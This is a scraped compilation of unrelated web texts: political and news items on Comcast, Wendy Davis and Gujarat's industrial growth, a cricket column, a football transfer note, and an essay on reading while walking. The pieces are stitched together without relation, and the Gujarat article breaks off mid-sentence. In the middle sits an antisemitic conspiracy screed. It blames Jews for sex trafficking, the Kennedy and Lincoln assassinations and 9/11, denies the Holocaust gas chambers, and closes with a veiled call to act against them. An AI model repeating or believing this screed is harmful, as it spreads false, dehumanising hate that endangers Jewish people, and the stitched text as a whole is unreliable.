I’ve noticed this thing quite a lot in American life lately — this sort of cramped vision of altruism in which it’s considered perfectly acceptable to support only those causes that are directly good for you and yours. We even have a tendency to view it as “inauthentic” when people support policies that aren’t in their self-interest — when a rich man supports higher taxes on the rich, he’s somehow seen as strange, and probably a hypocrite.
Needless to say, this is all wrong. Political virtue consists in standing for what’s right, even — or indeed especially — when it doesn’t redound to your own benefit. Someone should ask Portman why he didn’t take a stand for, you know, other people’s children.Comcast Blocks Oregon Ad Demanding it Pay Higher Taxes
quote: “As if running a small business isn’t tough enough, turns out I’m paying a higher tax rate than large out-of-state corporations like Comcast,” brewery owner Rob Cohen says in the initial version of the ad. In the new version, Cohen states: “Turns out, I’m paying a higher tax rate than large out-of-state corporations." Another version swaps out Comcast’s name with Wells Fargo, the San Francisco-based bank. And while critics call Comcast's blocking of the ads "ridiculous," there's no law requiring that Comcast run ads supporting ballot measures and initiatives it doesn't agree with. Financial data indicates that Comcast has donated $465,000 to the campaign against Measure 97 in Oregon. Comcast is under fire after it refused to run ads in Oregon demanding that Comcast pay their fair share of taxes. The Hill notes that Comcast specifically refused to run ads for Measure 97, which would raise income taxes on corporations across the state of Oregon. Comcast apparently had problems with the fact that the ads addressed Comcast by name, but was willing to run a revamped version of the ad once Comcast's name was swapped out with that of Wells Fargo bank:And while critics call Comcast's blocking of the ads "ridiculous," there's no law requiring that Comcast run ads supporting ballot measures and initiatives it doesn't agree with. Financial data indicates that Comcast has donated $465,000 to the campaign against Measure 97 in Oregon.
News Jump Wednesday Morning Links Tuesday Morning Links Monday Morning Links TGI Friday Morning Links Thursday Morning Links Wednesday Morning Links Tuesday Morning Links Friday Morning Links Thursday Morning Links - Valentines Edition Wednesday Morning Links ---------------------- this week last week most discussed
Most recommended from 42 comments
wkm001
join:2009-12-14 7 recommendations wkm001 Member Rebroadcast They could have went to all the local broadcast stations and paid to have the original ad aired. Which would have made it's way to all Cable providers in Oregon. mikesco8
join:2006-02-17
Southwick, MA 2 recommendations mikesco8 Member I would assume that Comcast can only block ads... That are either in their own blocks of ad allotment, or on a channel that they own, they would not be allowed to block them on other local channels that they carry; correct?
Either way it shows how important it is to not allow these large content providers in check and not allow them to get bigger than they are.Getty Images
(Lev Grossman writes about books here on Wednesdays. Subscribe to his RSS feed.)
I wanted to start this post by saying that everybody’s done it, at least once or twice, but probably that’s not true. I know it’s a weakness. A vice even. You’re making a choice: essentially what you’re saying (or what I’m saying) is that sometimes you’re more interested in fiction than in reality and you don’t care who knows it. You’re saying, I’m willing to chuck most or probably all of my dignity, and some measure of my personal safety, and your personal safety, because it’s more important to me to keep reading this book I’m reading than it is to look where I’m going.
Not everybody makes that choice. The world is probably a better place for that.
But I know I’m not the only one. I once read an interview with Marilynne Robinson in the New York Times in which she confessed to reading books while she walks her dog. So I’m not completely alone.
And anyway, mostly it’s just short flights, no big deal. I’m in the privacy of my own home. I know the terrain. Why should I put down George R.R. Martin during the short trek from couch to bathroom? What would happen if I just kept on reading?
(READ: Literary Revolution in the Supermarket Aisle)
I stand up. I start walking. I’m still reading. My secondary senses go into overdrive to keep me on track (you know, like Daredevil). My mind divides: I’m both here and not-here, in the reality and in the fiction at the same time. The world scrolls by around the edges of the page, the margins outside the margins—furniture, stairs, pets, children. I keep a weather eye on all that, but I’m still reading, I’m still taking in sentences. I’m navigating by memory and peripheral vision, eyes down, course-correcting as needed.
Then I’m safe at my destination without once having broken contact with the fiction. It’s satisfying. I feel like I got away with something. Screw you, Aslan, I’m stayin’ in Narnia.
Though it’s a slippery slope from there. Once you master the basic skill, it’s tempting to take it to the office. I do. That’s familiar turf too, though there’s a new element, namely my co-workers. They probably think it’s odd. Eccentric even. Bah! It’s worth it. By reading and walking at the same time I’ve got uninterrupted access to the page. It’s like broadband, it’s always on.
Now reading and walking outside—I’ve seen it called readwalking—that’s a different proposition. I do it, but it depends on where I am. Marilynne Robinson lives in Iowa City, where I imagine (I’ve never been there) you can find dog-walking paths that are relatively free of foot traffic. I live in New York City, where the sidewalks are crowded, and there are already a lot of people bombing along them with their heads down because they’re texting. My favorite part is when two texters meet head-to-head and they both look up and stare at each other blankly, neither one budging, like the north-going Zax and the south-going Zax in Dr. Seuss.
I try to be a little more considerate than that. But once in a while I get off the subway at a crucial juncture in a novel, and I just cannot wait till I’m in my office to find out what happens next. I have to squinch out a few sentences in between. I just have to.
(I can imagine an Olympic sport based on this—like biathlon, but instead of shooting targets you’re reading while you’re skiing, the winner to be judged on both time and reading comprehension.)
(MORE: The Year in Novels So Far)
My first move is to clamp the book under one arm, inside-out, at my current page, like a running-back with a football, so I can whip it out at a moment’s notice.
Then I pick my spots. Short bursts is the approach. You look for a stretch of open sidewalk, maybe a half a block, you hastily memorize the major obstacles, and then you glance down at the book. You’re speed-reading here—you don’t so much run your eye over the page as grab the next few sentences all at once. Then the book goes back under the arm. You look up again and digest the words as you walk. You check your location and bearing, like a submarine, and you prepare to dive again.
Strangers look at you a bit funny, but come on—they’re strangers. Not like the characters you’re reading about. Sure, they may be fictional, but they’re not strangers. They matter.
In extreme cases I’ve even been known to draft off the backs of other pedestrians, the way cyclists do in a crowded peloton. I pick a target who looks like a fine upstanding citizen, with somewhere to be and a tolerant view of humanity. I find I can follow the person at a discreet, respectful distance, keeping his or her feet at the upper edge of my peripheral vision, and use them to lead me around fire hydrants and sidewalk café chairs and people hailing taxis, like a seeing-eye dog.
It’s foolish, of course. I know it is. It’s the opposite of being a flâneur: I’m not practicing what Balzac called “the gastronomy of the eye,” feasting on the rich details of the world around me as if it were a novel. I’m doing the opposite. I’m not a flâneur, I’m a lecteur: I’m opting out of life’s rich pageant in favor of literature’s rich pageant. I can only imagine the serendipitous encounters I’m missing out on, the interesting cloud formations, the fleeting eye contacts, the fine architectural details, the noteworthy trees, the changing seasons, all the chance beauty that’s passing me by while I walk and read. But sometimes life just isn’t as interesting as art.
Of course the other thing I miss is sightings of my fellow lecteurs, charging along the pavement, nose in a book, steering by feel. But I know they’re there. We pass like ships in the night—mon semblable, mon frère. But there’s a kinship between us nonetheless. We’ve made the same choice. They
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Montana, Oklahoma, and Texas, the fight continues.
Tip o’ the Piltdown tooth to Alex Shuffell for the link to the Sensuous Curmudgeon posts.Thiago Motta set for summer exit?
By Football Italia staff
Thiago Motta’s agent has confirmed that the midfielder is unlikely to leave Inter this January, but has refused to say the same for the summer transfer window.
There have been whispers that the Brazilian-born, Italian international could be sold this window as he enters the final 18 months of his contract at San Siro. Contract talks have yet to begin, whilst there has been no official comment from the Nerazzurri on the No 8’s future.
Speaking to Calciomercatoweb.it, the 29-year-old’s agent Dario Canovi confirmed that there is clarity only until the end of the season.
“At the moment there is no news regarding Thiago. With Motta on the field do Inter earn more points? We hope that the Nerazzurri think this way.
“I think that at the end of the season it is a good time to ask Inter what their assessment is.
“For a player though, it is never nice to get into the final year of a contract.”
Motta won the League, Cup and European Cup treble in his first season with Inter and recently broke into the Italian national set-up, qualifying through his grandparents’ heritage.Offer Info
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Join the DiscussionI might need to remind the reader how Jewish leaders are chosen. Jewish leaders are not elected. Their leadership is self-selected based upon their ability to make money selling drugs and illegal weapons and trafficking in sex slaves and in human organs. Jewish leaders do not care that those body parts are taken from involuntary donors. Judaism Incorporated has not yet adapted to democracy.
I have read of 300,000 or so women and children being abducted every year and being taken across international borders. I have read of 187 plus brothels in Israel that have iron bars on the widows so the Gentile women inside cannot escape. The Israeli police and courts do not set these women free.
I have not read of sex slaves being released en masse after they are of no use to the men who bought them. This means the worldwide Jewish Crime conspiracy kills 6 million Gentile women and children every 20 years through the sex trade. Another 100,000 Gentiles a year die from heroin overdoses which would be an additional 2 million every 20 years.
No nation to date has demanded the Israeli and Russian Jewish gangs cease and desist from what they are doing. The Hungarians came close when they demanded the return of named women held in Israeli brothels against their will. At some point, you would think the world would threaten to cut off all aid to Israel. And even to refuse airline travel between their airports and Tel Aviv.
Mordecai Vanunu told us Israel killed President Kennedy. After the President’s assassination, Dan Rather was given a copy of the Zapruder film and told to go on air and tell his listeners the opposite of what the tape revealed. He told his audience that the film showed the President’s head being forced forward by the impact of a bullet from the rear when the film proved that was not true. On Day One the doctors at the hospital said the bullets entered from the front. On Day Two the doctors said the bullets came from the rear. Only one local reporter dared ask how they could reverse the direction of the bullet. The national press reporters never questioned the lies they were told to repeat because they know who they worked for.
An earlier generation never questioned Jewish eyewitnesses who said they opened the doors to the Nazi gas chambers, walked inside without gloves and gas masks and began pulling out the bodies of hundreds of Jews. When I was 9 years-old, I said, “We know they are lying because cyanide would kill anyone who opened the door.” My academic career declined after that.
The Jewish Crime leaders killed Presidents Kennedy, McKinley, and Lincoln. They also killed Martin Luther King Jr on the first anniversary of his anti-war speech at the Riverside Church in New York. No effective anti-war movements are allowed. On July 8, 1967 the Israelis killed 34 sailors on the USS Liberty.
But 911 revealed the enormous Chutzpah of Jewish leaders.
The Israelis did 911 with the help of Jewish leaders in PNAC and AIPAC. It has been covered up ever since by our mostly Jewish media. 911 was a declaration of war against America by Israel. That is the definition of Chutzpah.
The Israelis wired World Trade Center Towers 1, 2 and 7 for demolition. Tower 7 was never struck by a plane. Yet it fell down in 6.5 seconds. The BBC was told by the Rothschild owned Reuters news agency that WTC 7 had collapsed an hour before it did. America was still on Daylight Savings Time but Britain had just left Summer Time so a confused BBC announced the collapse of WTC 7 fully 24 minutes before it happened in New York.
Mistake like that are permissible. In fact knowing that your government can kill the President and blow up buildings with Americans inside in Oklahoma City and in New York helps restrain criticisms from the overly cerebral crowd. ‘If they can kill 3,000 Americans and get away with it, what chance do I have?’
But some ask ‘Will life be worth living if the Jews win and get everything they want all the time?’ What would Gentile life be like if the Jewish plans for the Great Reset succeeded?
911 unleashed Israel’s War of Terror against neighboring states able to resist invasion and conquest. Israel claims all the land from the Nile to the Euphrates. The War on terror is in reality just a process of American Gentiles evicting Muslims and Christians from their homes.
That War of Terror cost American taxpayers trillions of dollars to date. 911 was used to justify military actions that killed millions of people in the Mideast. Some of those people were Christians in Syria and Iraq. Most were Muslims. Both have relatives and friends who would like to take revenge.
The Great Global Reset is designed to make America so weak and so poor that they will be incapable of resisting their Lords and Master on Wall Street, in the City of London and in Israel. If they are lucky, the Americans will be able to find jobs as mercenaries killing people for Israel around the world.
The Last Global Reset occurred at Bretton Woods in July of 1944. It is ironic that the United States was represented by the Jewish Communist Harry Dexter White. He was appointed to that post after after two different sources had denounced him as a Soviet spy. He was denounced by a third source in 1945 but was subsequently appointed by President Truman to be the first US director of the International Monetary Fund (IMF).
In 1944 the US was given the Monetary Keys to His Majesty’s Jewish Empire. Prince Charles has admitted his family originally came from Transylvania. I saw a documentary on the British royal family which revealed the royals also had German Jewish roots. Queen Elizabeth I and the African slave trade figured prominently in the video. But 90% of the ships running slaves to British, Spanish and Portuguese colonies were Jewish owned. The video went on to discuss Queen Victoria and the Opium trade including the two Opium wars she fought against China. But again the profits went mostly to Jewish bankers and traders. The same can be said of the Boer war.
Her Majesty’s Jewish Government managed to kill tens of thousands of mixed race women and children in concentration camps in South Africa. But the spoils of the war did not go to the 300,000 Gentile soldiers. The diamond and gold mines went to the Jews. Not much has changed. Last year black police killed 34 unarmed miners who were demanding a raise. The Jews still own the mines.
What Bretton Woods did was transform the His Majesty’s Jewish Empire into America’s branch of Judaism Incorporated. The US did have some prosperity after the war because their planes had reduced German and Japanese cities to rubble. But the primary cause of America’s illusory prosperity after the 1960s was the ability to print dollars and to buy things from overseas for free. We could buy cars, electronics, food, raw materials, oil, clothes and everything else in exchange for IOU Nothing Federal Reserve Notes.
The Chinese and the Russians have served notice that this ability to make others work for free will come to an end very soon. They formed the BRICS economic alliance (Brazil, Russia, India, China, South, Africa) which by now has probably more than 120 nations supporting them. They also formed alternatives to the IMF and the World Bank. The Obama administration impotently tried to stop allies from joining China’s Asian Infrastructure Investment Bank. The British, Germans and Australians all joined. At the last minute the US tried to sign up but China said they were too late.
The Russians and the Chinese have also set up their own ratings agencies and their own interbank transfer system to replace SWIFT. In short they have immunized themselves from American sanctions. Very soon men like Obama and Bush will not be allowed to act like bullies all over the world.
The Russians and the Chinese also formed a military alliance called the Shanghai Cooperation Organization (SCO). This includes Russia, China, India, Pakistan, Iran and several smaller nations. NATO member Turkey has observer status. The US has been rather arrogantly using drones to kill Pakistani civilians. Pakistan remembers the incident several years ago when the US military called up their Pakistani counterparts and apologized for ‘accidentally’ firing on their border station. The US Army continued to fire for 3 hours at their Pakistani allies until 24 men died. Now Pakistan has arrested two CIA agents for using drones to kill civilians. They could not have done that before becoming allies with Iran, India, China and Russia.
Pakistan also also denied a request from the Saudis to send combat troops to Yemen to restore the old dictator. The Saudis, the Israelis and the Americans have cut off 90% of Yemen’s food supply. They plan to starve the Yemenis into submission.
As I have said before, China has applied for the yuan to become the fifth currency in the IMF’s SDR basket of currencies which presently includes the dollar, the pound, the euro and the yen. Prior to September 15th the Chinese have to open their gold bullion vaults to international inspection.
Sun Tzu would love this plan. Pretend to have no gold by releasing partial figures from 2010 when the US pressured the IMF in to denying their last application. This time reveal how much gold China has bought directly from the mines it owns in country and overseas plus what bullion it has imported both overtly and covertly. They probably have at least 10,000 metric tonnes of gold.
The Chinese are said to have trillions of dollars in cash and US Treasury bonds. But they will need that to bail out their rather corrupt corporations. When the Chinese sell US Treasury bonds en masse to pay off their bad corporate debts, Americans will see the dollar plunge to abysmal levels making imported goods cost 500% more. That estimate is from Jim Rickards who is a consultant to the CIA and the Department of Defense.
And you wonder why the US military is practicing war games in Operation Jade Helm to kidnap Americans off the streets. Previously, they had practiced an Urban Warfare drill in which tanks were used to separate black people from wealthy Jewish suburbs. Poor whites were to be sacrificed.
The point is that the Talmud told the Jews that they had the right to rob the Gentiles as soon as their leaders took control of our governments. The Federal Reserve has $1.6 trillion in fraudulent mortgages it had to buy to keep Jewish Financial Criminals from going to jail. You will have no pensions and savings when you retire because the Jews gave themselves permission to take it. That is why we have a Patriot Act and the NDAA which took away our freedom and gave Judaism Incorporated the right to detain us without trial, to torture us and even to kill us.
During the Great Depression, 3 million Americans staved to death. At that time we had 125 million people. The best politicians money can buy decided to flood America with legal and illegal immigrants. We will soon have 325 million people due to Amnesty.
Wassily Leontief won a Nobel Prize for his study of the American economy back in the 1930s. He found that Americans were more prosperous than other countries because they had abundant natural resources which were extracted to be used as inputs to industries manned by skilled labor. Coal, iron and oil became cars, bridges, washing machines and plastics.
According to this model the US would have trouble as soon as the population went above 150 million because we would have to reduce wages to pay for those increased imports.
That proves the constant reduction in real wages for the working class since 1970 occurred by design.
The North American Free Trade Act (NAFTA) closed 57,000 manufacturing plants and sent 12 million jobs overseas. We are being told we should approve the TPP and TTIP treaties as well. These three and the World Trade Organization (WTO) will reduce our national sovereignty to zero.
I have been warning for years that Hyperinflation in America will not start until the dollar is devalued. That should begin later this year.
Hyperinflation will destroy benefits including Food Stamps. And that means Nationwide Food Riots.
It was also by design that we have a black President who has flooded the country with Latino immigrants many of whom have Gang Tattoos and/or extensive criminal histories. Some have admitted to killing people but Border Guards are required to let them in anyway.
I have believed for more than 30 years that Wall Street wants a three way Race War. Blacks and Hispanics against whites. Blacks and and Hispanics against each other. Nationwide Food Riots can give cover to targeted assassinations.
The next obvious step would be genocidal germ warfare. They have advanced to the point where they can release viruses to target specific races.
All of these attacks against America can be traced back to World War II and before. We were over populated and our industry sent overseas in order to reduce us to abject poverty so the Bankers could rule over us. The Jewish war against America did not begin on 911.
In conclusion I think I should repeat what I said last week.
The Fundamental Fact of Your Existence as a modern man or woman is that the bankers of New York and London want to reduce you to Debt Slavery.
Accept that fact and move on to the solution.
That is their plan for you.
What is your plan for them?
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Resurrecting Israel Did 911. All the Proof In The World
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https://vidrebel.wordpress.com/2012/10/07/video-gmo-ticking-time-bomb-the-bankers-want-you-sterilized-and-then-dead/It is quite clear why England are struggling in one-day cricket at the moment: they cannot play the turning ball. We are playing the world champions, India, and we bat like chumps.
At Trent Bridge on Saturday, India had four spinners who bowled 30 overs and took six for 112 between them. It was not a raging turner, it just turned a little bit, and it was not the first time this had happened to England.
England play slow bowling well on flat pitches when it does not spin. It is a different ball game when the ball turns. Then they are creasebound and terrified to use their feet against the spinners.
Since Graeme Swann retired we have played Moeen Ali – a batsman who bowls spin, more of a one-day cricketer really. He has done quite well but who else is in the frame? Nobody. James Tredwell is a good experienced bowler but he is not being threatened by any young spinner because there are not any coming through.
Over the last 20 years county pitches have been covered and they either help the seamers a little bit or they are just flat for batting with no encouragement for a spinner.
It is the same in Test cricket. Very few of the surfaces turn so we have a dearth of spinners and a dearth of batsmen who can play the spinning ball.
When Harry Brind was groundsman at The Oval he produced pitches with a composition of Surrey loam and Ongar clay and the administrators saw it as a panacea for English cricket. They wanted all county pitches to be the same as The Oval and had the soil transported to all the international grounds but it has not worked.
If you want all pitches to be the same you might as well play on artificial ones. If you play on pitches that do not turn why would you want to be a slow bowler when there is no encouragement for you to take wickets?
I grew up in an era where in every county the soil was different. We also had uncovered pitches so we learnt to play on a variety of surfaces. Many of the pitches turned in club cricket, they turned in second-team cricket and they often turned in county cricket so you were ready to experience spin at Test level.
Nowadays the kids do not know what to do when it spins.
On Saturday at Nottingham not one of them went down the pitch and played with the spin and looked to push the ball into the gaps for singles to rotate the strike. The cross bat sweep or reverse sweep seemed to be their only solution.
Whenever pitches have turned abroad England have been hopeless. The exceptions are Bombay in 2012 and Colombo the same year when England won because Kevin Pietersen made two fabulous centuries which meant England had lots of runs for their two very good spinners, Graeme Swann and Monty Panesar, to bowl the opposition out. Now Swann has retired and it seems Panesar has lost his focus. We cannot play spinners and we do not have one to bowl at the opposition.
We also need some fresh thinking from our selectors. Neither James Whitaker, the chairman of selectors, nor Mick Newell have really played international cricket and they have not been involved with the way that the one-day international game has changed in recent years.
As much as I admire the other selector, Angus Fraser, who was a wonderful Test bowler, he has not played one-day international cricket since 1999 and the game has moved on dramatically since then.
The selectors need to open their minds. I have been commentating for 25 years all over the world so I have seen how the game has changed since I played in the first one-day international in 1971. Then you could win games with 230 runs but now you are not safe with 270.
Today there are restrictions on field placings and bigger bats so guys hit it miles. Young kids coming into the game are not frightened of whacking the ball or slogging it cross-batted or improvising, it is second nature to them. I was brought up to never dream of playing shots like that. We were taught at the Yorkshire nets to “keep it on the floor lad, you can’t be caught out”.
England have gone into this series with three orthodox batsmen in our top four in Alastair Cook, Ian Bell and Joe Root. They are lovely technical batsmen for Test cricket but you should not have all three of them in your one-day team.
How could England select Chris Woakes, Chris Jordan and Ben Stokes together? They are all exactly the same: they bowl at a similar pace and have no variations.
After the match Cook admitted England selected them because all three can bat. It was a safety-first policy to get England out of trouble with late-order runs if the batsmen failed. We are still thinking in the old fashioned way from when I played, pack your batting and bowl fast medium line and length. That only works on seaming swinging pitches but the next World Cup is in Australia and New Zealand and will not have those types of pitches.
England need a fresh approach but they also need to be able to accept constructive criticism from ex-players like myself. They are guilty of selecting the ODI team on Test performances and central contracts, this is wrong thinking.
Just look how Cook responded when his “so-called friend” Swann made constructive comments about England’s one-day team and Cook got his “knickers in a twist”.
What he should realise is Graeme is now paid to give his opinions in the media. He and other former players like myself are not there to fawn over England or be cheerleaders for the captain and his players. We all want England to play well and win but if we think they have not got it right are we supposed to say nothing?
Well that is not going to happen. People like Graeme Swann and Michael Vaughan can see the format of the team could be bettered and so can I. Take your heads from out of the sand and into the modern era of one day cricket or else there will be more bad days ahead.After 11-hours standing on the floor of the Texas Senate, filibustering legislation that would ban abortion after five months, Wendy Davis enraptured Democrats and the media across the United States.
Although her filibuster in pink tennis shoes failed, Wendy Davis announced she would run for governor just a few months after her meteoric rise in the media.
As a state senator representing Fort Worth, Davis was seen by Democratic leaders as a wedge into a state that had not voted a Democrat into a state office in 16 years. By focusing on a so-called Republican "war on women", donors gave $36 million and national left-wing organizations plowed demographic experts and activists into her campaign.
But Davis lost her bid to become Texas governor against Republican Greg Abbott. With volunteers in the tens of thousands that her campaign said was the key to changing Texas -- often touted in her campaign's fundraising emails -- she lost big: 59-39.
In campaigns, this isn't just a landslide, it's an annihilation. She lost worse than the lackluster gubernatorial campaign between Bill White and Rick Perry in 2010, who won 55-42.
Don't mess with Texas women.
Davis and her out-of-state allies misjudged Texas, and especially Texas women. Davis won unmarried women by 14 points, while Abbott won married women by 25 points.
Not only did Davis lose her bid to become governor, the senate seat she vacated when she began her gubernatorial campaign was gained by a Republican woman, Konni Burton.
Burton campaigned on conservative ideas and pro-life credentials. She was endorsed by Texas Right to Life, the largest and most influential pro-life organization in Texas. Burton's slogan was "take back SD10." And she did.
Hispanic Men
Davis' campaign's focus on women may have alienated the very demographic her consultants counted on: Hispanics.
Greg Abbott, whose wife Cecilia is Mexican American, won 44 percent of the Latino vote by earnestly campaigning in heavily Hispanic districts -- earning far more of the Latino vote than anyone predicted. Surprisingly, Abbott received the vote of the majority of Latino men.
Storm clouds gathered early around Davis' campaign. In April, the Democratic Governors Association questioned Davis' ability to win the election, even after raising $50,000 for her campaign. In an article in the Wall Street Journal, Vermont Governor Peter Shumlin, associate chairman, did not list Davis' bid in the targeted list of races in Florida, Maine, Michigan, Ohio, Pennsylvania, and Wisconsin.
"My job is not to promote governors' races in states where we can't win," Shumlin said.
Leftist activists surely will not stop dreaming about taking Texas. Texas remains the holy grail for Democrats because, unlike any other state in the union, if activists convert Texas into a blue state, the presidency will likely be in the control of Democrats for decades, if not generations.
Whether Texans, and Texan women, are ready to accept progressive ideas remains an even bigger doubt than two days ago.
On DailyKos, a website dedicated to electing left-wing Democrats, many questioned why they lost so dramatically across the United States. A popular article, written by Dallasdoc, began his analysis with an advertising proverb: "It doesn't matter how great your marketing campaign is. You can't sell your dog food if the dogs won't eat it."Ahmedabad: In the space of a decade, Tunda Vandha, in Kutch district of Gujarat, has been transformed from a sleepy village of mud houses populated by cattle breeders into a prosperous industrial town.
In its vicinity are two of India’s largest coal-fired power projects—Tata Power Co. Ltd’s subsidiary Coastal Gujarat Power Ltd (CGPL) has set up a 4,000 megawatts (MW) plant and has plans to add 1,600MW more; Adani Power Ltd has built a 4,650MW power station.
The two plants brought ₹ 40,000 crore into the local economy and changed the lives of local residents—the Rabari community, which has been widely represented as the face of Gujarat in tourism billboards, the menfolk clad in all white, sporting a turban; and the women in black ghagra-cholis, wearing gold or silver jewellery.
Dotted with kutchi bhungas—circular mud houses with thatched roofs—the place was a quaint tourist destination until early 2000 and attracted film-makers like J.P. Dutta, who shot a part of his movie, Refugee, in the village, said Mandabhai Rabari, deputy sarpanch (headman).
Mandabhai and his family sold about 5 acres of land to Adani Power for about ₹ 30 lakh. His wife, Lakhiben Rabari, who once made Kutchi handicrafts, now works as a contract worker at the Adani Power plant.
“Earlier I earned ₹ 1,500 per month by selling hand-woven garments. My eyes used to ache. Today I earn ₹ 5,000 per month. Everybody in the village earns directly or indirectly from these two factories," Lakhiben said.
With its remarkable transformation from an arid wasteland into an industrial hub over the past decade, Kutch is held up as a showpiece of the so-called Gujarat model of development that four-time chief minister Narendra Modi, the Bharatiya Janata Party’s (BJP’s) prime ministerial candidate in the 2014 general election, says he wants to replicate in the rest of India.
The 63-year-old Modi has used his governance record in Gujarat, its rapid growth and the dynamism of its industry—a kind of “Shining Gujarat" campaign—to try and outshine his political rivals in the election.
Critics say that in the quest for big-ticket industries, from automobiles to so-called ultra-mega power projects, the state government has neglected basic social infrastructure such as education and sanitation. They say there has also been a price to pay for rapid industrialization—displacement of poor inhabitants, for instance. Sceptics question whether the Gujarat model can even be implemented on a national scale.
“Numerous initiatives that the state of Gujarat has taken in recent years confirm the unqualified faith of the rulers in the workings of the market and in the capacity of the private investor to meet the development needs of the state," said Atul Sood, a professor at Jawaharlal Nehru University (JNU) in New Delhi and a contributor to the book, Poverty Amidst Prosperity: Essays on the Trajectory of Development in Gujarat.
“As a result, governance in Gujarat has been fashioned to the needs of the private investor with public investment taking a back seat. So unquestioned is the faith in private investor that the investor is not just bringing the investment but also deciding the priorities of development," Sood said.
Kutch benefited partly from a special tax holiday offered by the BJP-led central government in 2001 after a huge earthquake that left several thousand people dead and devastated the region. But it’s the two big power projects and an Adani Group port that have been at the vanguard of the region’s subsequent transformation.
Rajdeepsinh Jadeja, 24, who worked as a salesman in Mumbai, has started his own fabrication business in Tunda Vandha. “Emigration has stopped and people like me have returned to our village, thanks to these two large projects," he said.
The Gujarat government did help the two companies acquire land for the power projects, but villagers say it was done with their consent. Tata Power and Adani Power did take over some grazing land, but, in return, provided cattle feed for those who owned the land, they said. The two companies also built toilets and a school for the villagers.
Modi’s detractors such as Congress vice-president Rahul Gandhi and Arvind Kejriwal, chief of the Aam Aadmi Party (AAP), say the Gujarat model is over-hyped and is a synonym for crony capitalism; they say it has only benefited a few big industrialists who received land at throwaway prices.
Big business
The Ahmedabad-based Adani Group, with $8.7 billion in revenue in 2013, runs India’s largest merchant port in Mundra in Kutch, which has the capacity to handle more than 100 million tonnes (mt) of cargo.
The Adanis have also built India’s largest multi-product special economic zone (SEZ) in Mundra. The Modi government announced an SEZ policy in 2004 for the state—before the central government’s 2005 policy—to encourage the development of the export-oriented industrial enclaves. The policy offers easy labour laws and tax exemptions.
The Adani Group has acquired a lot of wasteland from various governments, including the Congress-backed one in 1993, but it was between 2005 and 2007 that it secured the largest portion of about 5,000 hectares out of a total 7,300 hectares, said an official at the group who spoke on condition of anonymity.
In reply to a question, state revenue minister Anandiben Patel informed the House in March 2012 that 54,656,819 sq. m (about 5,400 hectares) of land was given for Adani’s SEZ project at prices ranging from ₹ 1 to ₹ 32 per sq. m till December 2011.
Most of the investment and land acquisition for the project happened after 2005. The Adanis have invested about ₹ 20,000 crore in the Mundra SEZ and port project, generating direct and indirect employment for about 150,000 people, said the same Adani group official cited above.
“Adani has emerged as one of the country’s largest business houses in the last one decade or so. They were nowhere in the picture in the mid-nineties. The company has certainly benefited from the largesse of the state government," said Dwijendra Tripathi, an eminent business historian.
Gautam Adani, boss of the Adani Group, has in published interviews denied charges of crony capitalism and said he received no special favours.
“Crony capitalism should not be there. I definitely agree with that. But how you define crony capitalism is another issue," Adani, 52, was quoted as saying in a recent interview with Reuters. “If you are, basically, working closely with the government, that doesn’t mean it’s crony capitalism."
The state government, Adani said, had been a facilitator.
“You can say very well that land has been given to Adani," he told Reuters. “So what? Has Adani taken away land and not developed anything?"
To be sure, state and national governments across the world offer incentives to attract industries and investments. And Gujarat doesn’t seem to have singled out Adani for any special treatment.
Economist Bibek Debroy, author of the book, Gujarat: Governance for Growth and Development, also argues that the state government’s policy of helping companies acquire land for industrial projects is all-encompassing and doesn’t exclude small enterprises.
“One view can be that no industries should be given cheap land or any fiscal incentives," Debroy said. “Once you decide to give land for industries and form a framework, as has been in the case of Gujarat, there is no digression and this is very important. Anyone willing to set up an industry gets equal opportunity."
Closer to Ahmedabad, the principal city in Gujarat, another village—Sanand—has been transformed into a bustling industrial enclave and is spoken of as the next automobile industry hub after the Sriperumbudur-Oragadam belt in Tamil Nadu, which accounts for 40% of the country’s automobile production.
It all started in 2008 when Tata Motors Ltd turned to Sanand to set up a factory for making its Nano cars after protests by land owners drove it out of Singur in West Bengal. The state government offered some lucrative incentives to the car maker, including a soft loan of ₹ 9,500 crore—at 0.1% rate of interest, repayable over 20 years.
While Nano’s production at Sanand is yet to reach even half its installed capacity of 250,000 cars per annum because of a slump in demand (the car’s been a flop), various other small and big industries have come up in the area in Tata’s footsteps.
Ford India Pvt. Ltd followed Tata Motors to Sanand and has invested nearly $1 billion in its new factory. The state-run Gujarat Industrial Development Corp. (GIDC) has acquired at least 2,000 hectares of land in Sanand to promote manufacturing. And so far, 425 companies, including Bosch Rexroth India Ltd, Hitachi Hi-Rel Power Electronics Pvt. Ltd, Colgate-Palmolive Co. and Nestle India Ltd, have finalized plans to set up units on 450 hectares of land involving a total investment of about ₹ 6,000 crore, said a government official close to the development.
Analysts have sat up and taken notice. A March report by US investment bank Goldman Sachs said India can add 40 million jobs in the next decade if states enact flexible labour laws such as in Gujarat.
Modi’s governance style
Modi became Gujarat chief minister in October 2001, nine months after the earthquake. Gujarat’s image and reputation took a beating among investors after communal riots broke out in the state in 2002.
At a conference organized by the Confederation of Indian Industry (CII) in New Delhi in 2002, some leading businessmen asked Modi how he planned to regain the confidence of industrialists in Gujarat.
In reply, Modi came up with the idea of holding a biennial investment event called the Vibrant Gujarat Investors’ Summit, launching it in 2003.
These events have seen companies and state government sign memorandums of understanding (MoUs)—pacts pledging investment—worth about ₹ 40 trillion till 2011. Less than 10% of the money has actually flowed in.
The summits have tried to project Gujarat as the best investment destination in the country, besides providing a platform for industrialists including Mukesh Ambani, Ratan Tata, Anil Ambani, Gautam Adani and Anand Mahindra to come and invest in the state, while showering praises on Modi and his governance style.
Ambani’s Reliance Industries Ltd has been one of the largest investors in Gujarat, pouring at least ₹ 1 trillion over the last 10 years, much of it going into expanding its refinery project in Jamnagar.
Modi has streamlined the process of clearing projects and tried to move to a so-called “single-window" system so that a person wanting to start a business in Gujarat has just one touchpoint with the government for all approvals. And this has benefited all forms of investments, said Nilanjan Mukhopadhyay, Modi’s biographer.
A key initiative Modi took in his early years as chief minister was the implementation of the Jyotigram Yojana—aimed at ensuring round-the-clock power supply to all villages of the state. Launched in 2003, the scheme was rolled out in most of the state’s 18,000 villages by 2006 and led to improvements in both irrigation and the quality of life. Water for irrigation is supplied for eight hours a day in Gujarat, an accomplishment few Indian states can match. Its success inspired the launch of a similar scheme in 2006 at the national level.
The Modi government has tried to remove political interference in state-run companies by ending the practice of naming political appointees as chairmen. Loss-making public sector units like Gujarat State Fertilizers and Chemicals Ltd (GSFC), Gujarat Alkalies and Chemicals Ltd (GACL) and
